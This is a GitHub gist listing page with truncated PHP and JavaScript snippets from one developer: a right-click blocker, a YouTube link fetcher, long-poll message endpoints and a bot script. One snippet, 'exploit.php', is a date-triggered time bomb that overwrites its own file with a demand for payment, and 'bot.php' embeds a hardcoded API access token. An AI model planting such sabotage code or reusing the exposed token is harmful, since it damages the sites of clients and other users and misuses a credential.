Skip to content

Instantly share code, notes, and snippets.

Leonid Rezvitsky Rezvitsky

View GitHub Profile
@Rezvitsky
Rezvitsky / gist:90365baf4c55f828567398c82c3badb3
Last active Aug 4, 2018
Блокировка к элементу сайта
View gist:90365baf4c55f828567398c82c3badb3
var message="Ой, ошибочка!";
function clickIE4(){
if (event.button==2){
alert(message);
return false;
}
}
function clickNS4(e){
@Rezvitsky
Rezvitsky / urlyt.php
Created Aug 11, 2018
get url video youtube
View urlyt.php
function getVideoUrl($id) {
$formats = array('18', '22', '37', '38');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://www.youtube.com/get_video_info?video_id=' . $id);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$links = curl_exec($ch);
curl_close($ch);
parse_str($links, $info);
if ($info["status"] == 'fail') {
View exploit.php
if( strtotime('16.11.2018') <time() ) {
file_put_contents(_FILE_, 'Fatal ... gde oplata, padal???');
}
View longpoll.php
<?php
$ts = intval($_GET['ts']);
$access_token = clean($_GET['access_token']);
$server_time = time();
$row_token = mysqli_fetch_assoc(mysqli_query($sqlConnect, "SELECT id, user_id, token FROM ". T_TOKENS ." WHERE token = '$access_token' LIMIT 1 "));
$row_ts = mysqli_fetch_assoc(mysqli_query($sqlConnect, "SELECT id, time FROM ". T_MESSAGES ." WHERE from_id = '$row_token[user_id]' AND deleted_one = '0' AND deleted_two = '0' ORDER BY time DESC "));
View up-btn.php
<button id="up-btn">Наверх</button>
<script>
var btnUp = document.getElementById('up-btn');
window.onscroll = function() {
var offset = window.pageYOffset;
if(offset > window.innerHeight) {
btnUp.style.display = 'inline';
}
else {
View method.php
<?php
define('METHODS_DIR', dirname(__FILE__).'/../methods');
header('Content-Type: application/json; charset=utf-8');
$method = clean($_GET["method"]);
switch($method) {
View bot.php
<?php
header('Content-Type: text/json; charset=utf-8');
$access_token = 'lETl8LzRgipgWwFK9ElnKpLQ9y3kZH8keKLAEhUF7CMcW0A5JAo3hpvCnl7uaIcnUWWcg1XfFsdGIPetPTJQ7WNT86ov2A4XK4M2';
file_get_contents('https://api.ivinete.ru/method/account.setOnline?access_token='. $access_token);
for($i=0 ; $i<6 ; $i++) {
@Rezvitsky
Rezvitsky / fields.php
Created Jun 6, 2019
fields params for get
View fields.php
<?php
$fields = $_GET['fields'];
$fexp = explode(',', $fields);
$fname = array();
foreach ($fexp as $key => $value) {
$fname[$value] = $value;
}
View json.php
<?php
// Получаем 'type' и 'param'
$type = $_GET['type'];
$param = $_GET['param'];
// Получаем id
$user_id = $_GET['id'];
$token = $_GET['token'];
$fexp = explode(',', $param);
View longpoll.php
<?php
$ts = isset($_REQUEST['ts']) ? intval($_REQUEST['ts']) : false;
$wait = isset($_REQUEST['wait']) ? intval($_REQUEST['wait']) : false;
$access_token = check_token();
$updates = array();
$row_ts = mysqli_fetch_assoc(mysqli_query($sqlConnect, "SELECT time FROM ". T_MESSAGES ." ORDER BY id DESC "));
You can’t perform that action at this time.